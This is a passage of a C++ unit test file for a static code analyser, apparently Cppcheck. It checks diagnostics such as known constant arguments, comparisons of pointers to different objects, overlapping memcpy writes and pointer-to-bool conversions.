g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n 